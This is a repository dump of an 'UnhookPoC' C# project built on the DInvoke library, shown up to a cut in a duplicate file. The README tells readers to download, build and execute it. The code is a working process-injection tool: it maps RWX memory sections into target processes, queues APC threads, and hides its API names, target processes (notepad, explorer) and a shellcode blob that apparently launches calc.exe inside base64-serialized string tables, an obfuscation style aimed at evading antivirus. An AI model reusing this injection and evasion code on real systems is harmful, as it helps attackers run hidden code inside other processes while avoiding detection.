├── README.md ├── UnhookingPoC ├── DInvoke.sln └── DInvoke │ ├── DInvoke.csproj │ ├── DInvoke.nuspec │ ├── DInvoke.sln │ ├── DInvoke.strings.g.cs │ ├── DInvoke │ ├── DInvoke.csproj │ ├── DInvoke.nuspec │ ├── DInvoke.strings.g.cs │ ├── DynamicInvoke │ │ ├── Generic.cs │ │ ├── Generic.cs.orig │ │ ├── Native.cs │ │ └── Win32.cs │ ├── Injection │ │ ├── Allocation.cs │ │ ├── Allocation.cs.orig │ │ ├── Execution.cs │ │ ├── Execution.cs.orig │ │ ├── Injector.cs │ │ └── Payload.cs │ ├── ManualMap │ │ ├── Map.cs │ │ └── Overload.cs │ ├── NoSpoofApproach.cs │ ├── NoSpoofApproach.cs.orig │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── SharedData │ │ ├── Native.cs │ │ ├── PE.cs │ │ ├── Win32.cs │ │ └── Win32.cs.orig │ ├── SharedUtilities │ │ └── Utilities.cs │ ├── SpoofApproach.cs │ ├── Syscalls.cs │ ├── app.config │ ├── bin │ │ ├── Debug │ │ │ ├── DInvoke.exe │ │ │ ├── DInvoke.exe.config │ │ │ ├── DInvoke.pdb │ │ │ └── DInvoke_Secure │ │ │ │ ├── DInvoke.exe │ │ │ │ └── DInvoke.pdb │ │ └── ThreatCheck │ │ │ ├── CommandLine.dll │ │ │ ├── CommandLine.xml │ │ │ ├── ThreatCheck.exe │ │ │ ├── ThreatCheck.exe.config │ │ │ └── ThreatCheck.pdb │ ├── nuget.exe │ ├── obj │ │ └── Debug │ │ │ ├── DInvoke.csproj.AssemblyReference.cache │ │ │ ├── DInvoke.csproj.CoreCompileInputs.cache │ │ │ ├── DInvoke.csproj.FileListAbsolute.txt │ │ │ ├── DInvoke.exe │ │ │ ├── DInvoke.pdb │ │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ ├── overloadMapping.cs │ └── overloadMapping.cs.orig │ ├── DynamicInvoke │ ├── Generic.cs │ ├── Generic.cs.orig │ ├── Native.cs │ └── Win32.cs │ ├── Injection │ ├── Allocation.cs │ ├── Allocation.cs.orig │ ├── Execution.cs │ ├── Execution.cs.orig │ ├── Injector.cs │ └── Payload.cs │ ├── ManualMap │ ├── Map.cs │ └── Overload.cs │ ├── NoSpoofApproach.cs.orig │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── SharedData │ ├── Native.cs │ ├── PE.cs │ ├── Win32.cs │ └── Win32.cs.orig │ ├── SharedUtilities │ └── Utilities.cs │ ├── app.config │ ├── nuget.exe │ ├── obj │ ├── Debug │ │ ├── DInvoke.csproj.AssemblyReference.cache │ │ ├── DInvoke.csproj.CoreCompileInputs.cache │ │ ├── DInvoke.csproj.FileListAbsolute.txt │ │ ├── DInvoke.exe │ │ ├── DInvoke.pdb │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ └── Release │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ └── overloadMapping.cs.orig └── https-localhost.cer /README.md: -------------------------------------------------------------------------------- 1 | # UnhookPoC 2 | A small PoC using DInvoke, dynamically mapping a DLL and executing Win32 APIs for process injection. 3 | 4 | ## Steps: 5 | 1. Download 6 | 2. Build (works in .Net Framework v4.0+) 7 | 3. Execute and view console information for more Pointer and Handle information 8 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DInvoke", "DInvoke\DInvoke.csproj", "{B77FDAB5-207C-4CDB-B1AA-348505C54229}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.ActiveCfg = Release|Any CPU 15 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.Build.0 = Release|Any CPU 16 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {10EEADF9-0E2F-4A21-8644-248A2DD84619} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B77FDAB5-207C-4CDB-B1AA-348505C54229} 8 | Exe 9 | Properties 10 | DInvoke 11 | DInvoke 12 | v4.0 13 | 512 14 | true 15 | 16 | 17 | 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 9 27 | 28 | 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 9 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke.nuspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | $id$ 5 | 1.0.4 6 | $title$ 7 | TheWover 8 | false 9 | MIT 10 | https://github.com/TheWover/DInvoke 11 | Dynamically invoke arbitrary unmanaged code from managed code without PInvoke. 12 | Patched error checking in RemoteThreadCreate. 13 | $copyright$ 14 | DInvoke PInvoke Unmanaged Reflection Hooking Injection 15 | 16 | 17 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DInvoke", "DInvoke\DInvoke.csproj", "{B77FDAB5-207C-4CDB-B1AA-348505C54229}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {10EEADF9-0E2F-4A21-8644-248A2DD84619} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke.strings.g.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.Serialization.Formatters.Binary; 4 | namespace Dinvoke 5 | { 6 | class C1962339650 7 | { 8 | public static C1962339650 I1962339650 = new C1962339650(); 9 | public string this[int i973134904] 10 | { 11 | get 12 | { 13 | if (a973134904 == null) 14 | { 15 | using (var ms973134904 = new MemoryStream(Convert.FromBase64String(@"AAEAAAD/////AQAAAAAAAAARAQAAAC8AAAAGAgAAAAxrZXJuZWwzMi5kbGwGAwAAAB9DOlxXaW5kb3dzXFN5c3RlbTMyXG5vdGVwYWQuZXhlBgQAAAAkLCB1bmFibGUgdG8gZmluZCB0aGUgc3BlY2lmaWVkIGZpbGUuBgUAAAAhSW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0BgYAAAAZVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQYHAAAAF050QWxsb2NhdGVWaXJ0dWFsTWVtb3J5BggAAAAIZXhwbG9yZXIGCQAAABcgfCAtPiBOVFNUQVRVUzogICAgIHswfQYKAAAADSB8IC0+IHBpOiB7MH0GCwAAAAdub3RlcGFkBgwAAAATQzpcV2luZG93c1xTeXN0ZW0zMgYNAAAA8AIvRWlENVBEb3dBQUFBRUZSUVZCU1VWWklNZEpsU0l0U1lFaUxVaGhJaTFJZ1NJdHlVRWdQdDBwS1RUSEpTREhBckR4aGZBSXNJRUhCeVExQkFjSGk3VkpCVVVpTFVpQ0xRanhJQWRDTGdJZ0FBQUJJaGNCMFowZ0IwRkNMU0JoRWkwQWdTUUhRNDFaSS84bEJpelNJU0FIV1RUSEpTREhBckVIQnlRMUJBY0U0NEhYeFRBTk1KQWhGT2RGMTJGaEVpMEFrU1FIUVprR0xERWhFaTBBY1NRSFFRWXNFaUVnQjBFRllRVmhlV1ZwQldFRlpRVnBJZyt3Z1FWTC80RmhCV1ZwSWl4THBWLy8vLzExSXVnRUFBQUFBQUFBQVNJMk5BUUVBQUVHNk1ZdHZoLy9WdS9DMW9sWkJ1cWFWdlozLzFVaUR4Q2c4Qm53S2dQdmdkUVc3UnhOeWIyb0FXVUdKMnYvVlkyRnNZeTVsZUdVQQYOAAAADkNyZWF0ZVByb2Nlc3NBBg8AAAAJbnRkbGwuZGxsBhAAAAAULCBEbGwgd2FzIG5vdCBmb3VuZC4GEQAAABsgfCAtPiBiYXNlZEFkZHJlc3M6IDB4ezA6WH0GEgAAABROdFdyaXRlVmlydHVhbE1lbW9yeQYTAAAAGCB8IC0+IERhdGEgTGVuZ3RoOiAgIHswfQYUAAAAGCB8IC0+IE5UU1RBVFVTOiAgICAgIHswfQYVAAAAGCB8IC0+IEJ5dGVzIFdyaXR0ZW46IHswfQYWAAAAFk50UHJvdGVjdFZpcnR1YWxNZW1vcnkGFwAAAB9GYWlsZWQgdG8gcGFyc2UgbW9kdWxlIGV4cG9ydHMuBhgAAAAVIHwgLT4gbmV3UHJvdGVjdDogezB9BhkAAAAVIHwgLT4gTlRTVEFUVVM6ICAgezB9BhoAAAAVIHwgLT4gb2xkUHJvdGVjdDogezB9BhsAAAATLCBleHBvcnQgbm90IGZvdW5kLgYcAAAADE50T3BlblRocmVhZAYdAAAAFCwgb3JkaW5hbCBub3QgZm91bmQuBh4AAAAXIHwgLT4gdGhyZWFkSGFuZGxlOiB7MH0GHwAAABgsIGV4cG9ydCBoYXNoIG5vdCBmb3VuZC4GIAAAABBOdFF1ZXVlQXBjVGhyZWFkBiEAAAATIHwgLT4gTlRTVEFUVVM6IHswfQYiAAAABC5kbGwGIwAAABggfCAtPiBiYXNlQWRkcmVzczogICB7MH0GJAAAABVJbnZhbGlkIFBFIHNpZ25hdHVyZS4GJQAAABNOdEFsZXJ0UmVzdW1lVGhyZWFkBiYAAAAhSW52YWxpZCBtYWdpYyB2YWx1ZSAoUEUzMi9QRTMyKykuBicAAAAeSW52YWxpZCBtb2R1bGUgYmFzZSBzcGVjaWZpZWQuBigAAAAwQ2FsbCB0byBlbnRyeSBwb2ludCBmYWlsZWQgLT4gRExMX1BST0NFU1NfQVRUQUNIBikAAAApSW52YWxpZCBlbnRyeSBwb2ludCAtPiBETExfUFJPQ0VTU19BVFRBQ0gGKgAAADRHZW5lcmF0aW5nIFN5c2NhbGwgc3R1YnMgaXMgbm90IHN1cHBvcnRlZCBmb3IgV09XNjQuBisAAAAaRmFpbGVkIHRvIHdyaXRlIHRvIG1lbW9yeS4GLAAAAB9GYWlsZWQgdG8gcmVzb2x2ZSBudGRsbCBleHBvcnQuBi0AAAAMUHJvY2VzcyBJRDogBi4AAAAdRGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QGLwAAAAhBbGxvY2F0ZQYwAAAABkluamVjdAs="))) 16 | a973134904 = (string[])new BinaryFormatter().Deserialize(ms973134904); 17 | } 18 | return a973134904[i973134904]; 19 | } 20 | } 21 | private string[] a973134904; 22 | } 23 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/DInvoke.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B77FDAB5-207C-4CDB-B1AA-348505C54229} 8 | Exe 9 | Properties 10 | DInvoke 11 | DInvoke 12 | v4.6.1 13 | 512 14 | true 15 | 16 | 17 | 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 9 27 | 28 | 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 9 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/DInvoke.nuspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | $id$ 5 | 1.0.4 6 | $title$ 7 | TheWover 8 | false 9 | MIT 10 | https://github.com/TheWover/DInvoke 11 | Dynamically invoke arbitrary unmanaged code from managed code without PInvoke. 12 | Patched error checking in RemoteThreadCreate. 13 | $copyright$ 14 | DInvoke PInvoke Unmanaged Reflection Hooking Injection 15 | 16 | 17 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/DInvoke.strings.g.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.Serialization.Formatters.Binary; 4 | namespace Dinvoke 5 | { 6 | class C1962339650 7 | { 8 | public static C1962339650 I1962339650 = new C1962339650(); 9 | public string this[int i973134904] 10 | { 11 | get 12 | { 13 | if (a973134904 == null) 14 | { 15 | using (var ms973134904 = new MemoryStream(Convert.FromBase64String(@"AAEAAAD/////AQAAAAAAAAARAQAAAC8AAAAGAgAAAAxrZXJuZWwzMi5kbGwGAwAAAB9DOlxXaW5kb3dzXFN5c3RlbTMyXG5vdGVwYWQuZXhlBgQAAAAkLCB1bmFibGUgdG8gZmluZCB0aGUgc3BlY2lmaWVkIGZpbGUuBgUAAAAhSW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0BgYAAAAZVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQYHAAAAF050QWxsb2NhdGVWaXJ0dWFsTWVtb3J5BggAAAAIZXhwbG9yZXIGCQAAABcgfCAtPiBOVFNUQVRVUzogICAgIHswfQYKAAAADSB8IC0+IHBpOiB7MH0GCwAAAAdub3RlcGFkBgwAAAATQzpcV2luZG93c1xTeXN0ZW0zMgYNAAAA8AIvRWlENVBEb3dBQUFBRUZSUVZCU1VWWklNZEpsU0l0U1lFaUxVaGhJaTFJZ1NJdHlVRWdQdDBwS1RUSEpTREhBckR4aGZBSXNJRUhCeVExQkFjSGk3VkpCVVVpTFVpQ0xRanhJQWRDTGdJZ0FBQUJJaGNCMFowZ0IwRkNMU0JoRWkwQWdTUUhRNDFaSS84bEJpelNJU0FIV1RUSEpTREhBckVIQnlRMUJBY0U0NEhYeFRBTk1KQWhGT2RGMTJGaEVpMEFrU1FIUVprR0xERWhFaTBBY1NRSFFRWXNFaUVnQjBFRllRVmhlV1ZwQldFRlpRVnBJZyt3Z1FWTC80RmhCV1ZwSWl4THBWLy8vLzExSXVnRUFBQUFBQUFBQVNJMk5BUUVBQUVHNk1ZdHZoLy9WdS9DMW9sWkJ1cWFWdlozLzFVaUR4Q2c4Qm53S2dQdmdkUVc3UnhOeWIyb0FXVUdKMnYvVlkyRnNZeTVsZUdVQQYOAAAADkNyZWF0ZVByb2Nlc3NBBg8AAAAJbnRkbGwuZGxsBhAAAAAULCBEbGwgd2FzIG5vdCBmb3VuZC4GEQAAABsgfCAtPiBiYXNlZEFkZHJlc3M6IDB4ezA6WH0GEgAAABROdFdyaXRlVmlydHVhbE1lbW9yeQYTAAAAGCB8IC0+IERhdGEgTGVuZ3RoOiAgIHswfQYUAAAAGCB8IC0+IE5UU1RBVFVTOiAgICAgIHswfQYVAAAAGCB8IC0+IEJ5dGVzIFdyaXR0ZW46IHswfQYWAAAAFk50UHJvdGVjdFZpcnR1YWxNZW1vcnkGFwAAAB9GYWlsZWQgdG8gcGFyc2UgbW9kdWxlIGV4cG9ydHMuBhgAAAAVIHwgLT4gbmV3UHJvdGVjdDogezB9BhkAAAAVIHwgLT4gTlRTVEFUVVM6ICAgezB9BhoAAAAVIHwgLT4gb2xkUHJvdGVjdDogezB9BhsAAAATLCBleHBvcnQgbm90IGZvdW5kLgYcAAAADE50T3BlblRocmVhZAYdAAAAFCwgb3JkaW5hbCBub3QgZm91bmQuBh4AAAAXIHwgLT4gdGhyZWFkSGFuZGxlOiB7MH0GHwAAABgsIGV4cG9ydCBoYXNoIG5vdCBmb3VuZC4GIAAAABBOdFF1ZXVlQXBjVGhyZWFkBiEAAAATIHwgLT4gTlRTVEFUVVM6IHswfQYiAAAABC5kbGwGIwAAABggfCAtPiBiYXNlQWRkcmVzczogICB7MH0GJAAAABVJbnZhbGlkIFBFIHNpZ25hdHVyZS4GJQAAABNOdEFsZXJ0UmVzdW1lVGhyZWFkBiYAAAAhSW52YWxpZCBtYWdpYyB2YWx1ZSAoUEUzMi9QRTMyKykuBicAAAAeSW52YWxpZCBtb2R1bGUgYmFzZSBzcGVjaWZpZWQuBigAAAAwQ2FsbCB0byBlbnRyeSBwb2ludCBmYWlsZWQgLT4gRExMX1BST0NFU1NfQVRUQUNIBikAAAApSW52YWxpZCBlbnRyeSBwb2ludCAtPiBETExfUFJPQ0VTU19BVFRBQ0gGKgAAADRHZW5lcmF0aW5nIFN5c2NhbGwgc3R1YnMgaXMgbm90IHN1cHBvcnRlZCBmb3IgV09XNjQuBisAAAAaRmFpbGVkIHRvIHdyaXRlIHRvIG1lbW9yeS4GLAAAAB9GYWlsZWQgdG8gcmVzb2x2ZSBudGRsbCBleHBvcnQuBi0AAAAMUHJvY2VzcyBJRDogBi4AAAAdRGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QGLwAAAAhBbGxvY2F0ZQYwAAAABkluamVjdAs="))) 16 | a973134904 = (string[])new BinaryFormatter().Deserialize(ms973134904); 17 | } 18 | return a973134904[i973134904]; 19 | } 20 | } 21 | private string[] a973134904; 22 | } 23 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Allocation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for allocation techniques. 12 | /// 13 | public abstract class AllocationTechnique 14 | { 15 | // An array containing a set of PayloadType objects that are supported. 16 | protected Type[] supportedPayloads; 17 | 18 | /// 19 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 20 | /// 21 | /// The Wover (@TheRealWover) 22 | /// A payload. 23 | /// Whether or not the payload is of a supported type for this strategy. 24 | public abstract bool IsSupportedPayloadType(PayloadType Payload); 25 | 26 | /// 27 | /// Internal method for setting the supported payload types. Used in constructors. 28 | /// 29 | /// The Wover (@TheRealWover) 30 | internal abstract void DefineSupportedPayloadTypes(); 31 | 32 | /// 33 | /// Allocate the payload to the target process at a specified address. 34 | /// 35 | /// The Wover (@TheRealWover) 36 | /// The payload to allocate to the target process. 37 | /// The target process. 38 | /// The address at which to allocate the payload in the target process. 39 | /// True when allocation was successful. Otherwise, throws relevant exceptions. 40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) 41 | { 42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; 43 | 44 | try 45 | { 46 | // Get delegate to the overload of Allocate that supports the type of payload passed in 47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 48 | 49 | // Dynamically invoke the appropriate Allocate overload 50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); 51 | } 52 | // If there is no such method 53 | catch (ArgumentNullException) 54 | { 55 | throw new PayloadTypeNotSupported(Payload.GetType()); 56 | } 57 | } 58 | 59 | /// 60 | /// Allocate the payload to the target process. 61 | /// 62 | /// The Wover (@TheRealWover) 63 | /// The payload to allocate to the target process. 64 | /// The target process. 65 | /// Base address of allocated memory within the target process's virtual memory space. 66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process) 67 | { 68 | 69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; 70 | 71 | try 72 | { 73 | // Get delegate to the overload of Allocate that supports the type of payload passed in 74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 75 | 76 | // Dynamically invoke the appropriate Allocate overload 77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); 78 | } 79 | // If there is no such method 80 | catch (ArgumentNullException) 81 | { 82 | throw new PayloadTypeNotSupported(Payload.GetType()); 83 | } 84 | } 85 | } 86 | 87 | /// 88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. 89 | /// 90 | public class SectionMapAlloc : AllocationTechnique 91 | { 92 | // Publically accessible options 93 | 94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT; 97 | 98 | /// 99 | /// Default constructor. 100 | /// 101 | public SectionMapAlloc() 102 | { 103 | DefineSupportedPayloadTypes(); 104 | } 105 | 106 | /// 107 | /// Constructor allowing options as arguments. 108 | /// 109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT) 110 | { 111 | DefineSupportedPayloadTypes(); 112 | localSectionPermissions = localPerms; 113 | remoteSectionPermissions = remotePerms; 114 | sectionAttributes = atts; 115 | } 116 | 117 | /// 118 | /// States whether the payload is supported. 119 | /// 120 | /// The Wover (@TheRealWover) 121 | /// Payload that will be allocated. 122 | /// 123 | public override bool IsSupportedPayloadType(PayloadType Payload) 124 | { 125 | return supportedPayloads.Contains(Payload.GetType()); 126 | } 127 | 128 | /// 129 | /// Internal method for setting the supported payload types. Used in constructors. 130 | /// Update when new types of payloads are added. 131 | /// 132 | /// The Wover (@TheRealWover) 133 | internal override void DefineSupportedPayloadTypes() 134 | { 135 | //Defines the set of supported payload types. 136 | supportedPayloads = new Type[] { 137 | typeof(PICPayload) 138 | }; 139 | } 140 | 141 | /// 142 | /// Allocate the payload to the target process. Handles unknown payload types. 143 | /// 144 | /// The Wover (@TheRealWover) 145 | /// The payload to allocate to the target process. 146 | /// The target process. 147 | /// Base address of allocated memory within the target process's virtual memory space. 148 | public override IntPtr Allocate(PayloadType Payload, Process Process) 149 | { 150 | if (!IsSupportedPayloadType(Payload)) 151 | { 152 | throw new PayloadTypeNotSupported(Payload.GetType()); 153 | } 154 | return Allocate(Payload, Process, IntPtr.Zero); 155 | } 156 | 157 | /// 158 | /// Allocate the payload in the target process. 159 | /// 160 | /// The Wover (@TheRealWover) 161 | /// The PIC payload to allocate to the target process. 162 | /// The target process. 163 | /// The preferred address at which to allocate the payload in the target process. 164 | /// Base address of allocated memory within the target process's virtual memory space. 165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) 166 | { 167 | // Get a convenient handle for the target process. 168 | IntPtr procHandle = Process.Handle; 169 | 170 | // Create a section to hold our payload 171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); 172 | 173 | // Map a view of the section into our current process with RW permissions 174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, 175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); 176 | 177 | // Copy the shellcode to the local view 178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); 179 | 180 | // Now that we are done with the mapped view in our own process, unmap it 181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); 182 | 183 | // Now, map a view of the section to other process. It should already hold the payload. 184 | 185 | SectionDetails newDetails; 186 | 187 | if (PreferredAddress != IntPtr.Zero) 188 | { 189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location. 190 | // Refer to MSDN documentation on ZwMapViewOfSection for details. 191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); 192 | } 193 | else 194 | { 195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); 196 | } 197 | return newDetails.baseAddr; 198 | } 199 | 200 | /// 201 | /// Creates a new Section. 202 | /// 203 | /// The Wover (@TheRealWover) 204 | /// Max size of the Section. 205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). 206 | /// 207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes) 208 | { 209 | // Create a pointer for the section handle 210 | IntPtr SectionHandle = new IntPtr(); 211 | ulong maxSize = size; 212 | 213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( 214 | ref SectionHandle, 215 | 0x10000000, 216 | IntPtr.Zero, 217 | ref maxSize, 218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 219 | allocationAttributes, 220 | IntPtr.Zero 221 | ); 222 | // Perform error checking on the result 223 | if (result < 0) 224 | { 225 | return IntPtr.Zero; 226 | } 227 | return SectionHandle; 228 | } 229 | 230 | /// 231 | /// Maps a view of a section to the target process. 232 | /// 233 | /// The Wover (@TheRealWover) 234 | /// Handle the process that the section will be mapped to. 235 | /// Handle to the section. 236 | /// What permissions to use on the view. 237 | /// Optional parameter to specify the address of where to map the view. 238 | /// Size of the view to map. Must be smaller than the max Section size. 239 | /// A struct containing address and size of the mapped view. 240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) 241 | { 242 | // Copied so that they may be passed by reference but the original value preserved 243 | IntPtr baseAddr = addr; 244 | ulong size = sizeData; 245 | 246 | uint disp = 2; 247 | uint alloc = 0; 248 | 249 | // Returns an NTSTATUS value 250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( 251 | sectionHandle, procHandle, 252 | ref baseAddr, 253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 254 | ref size, disp, alloc, 255 | protection 256 | ); 257 | 258 | // Create a struct to hold the results. 259 | SectionDetails details = new SectionDetails(baseAddr, sizeData); 260 | 261 | return details; 262 | } 263 | 264 | 265 | /// 266 | /// Holds the data returned from NtMapViewOfSection. 267 | /// 268 | public struct SectionDetails 269 | { 270 | public IntPtr baseAddr; 271 | public ulong size; 272 | 273 | public SectionDetails(IntPtr addr, ulong sizeData) 274 | { 275 | baseAddr = addr; 276 | size = sizeData; 277 | } 278 | } 279 | 280 | /// 281 | /// Unmaps a view of a section from a process. 282 | /// 283 | /// The Wover (@TheRealWover) 284 | /// Process to which the view has been mapped. 285 | /// Address of the view (relative to the target process) 286 | /// 287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) 288 | { 289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); 290 | } 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Allocation.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for allocation techniques. 12 | /// 13 | public abstract class AllocationTechnique 14 | { 15 | // An array containing a set of PayloadType objects that are supported. 16 | protected Type[] supportedPayloads; 17 | 18 | /// 19 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 20 | /// 21 | /// The Wover (@TheRealWover) 22 | /// A payload. 23 | /// Whether or not the payload is of a supported type for this strategy. 24 | public abstract bool IsSupportedPayloadType(PayloadType Payload); 25 | 26 | /// 27 | /// Internal method for setting the supported payload types. Used in constructors. 28 | /// 29 | /// The Wover (@TheRealWover) 30 | internal abstract void DefineSupportedPayloadTypes(); 31 | 32 | /// 33 | /// Allocate the payload to the target process at a specified address. 34 | /// 35 | /// The Wover (@TheRealWover) 36 | /// The payload to allocate to the target process. 37 | /// The target process. 38 | /// The address at which to allocate the payload in the target process. 39 | /// True when allocation was successful. Otherwise, throws relevant exceptions. 40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) 41 | 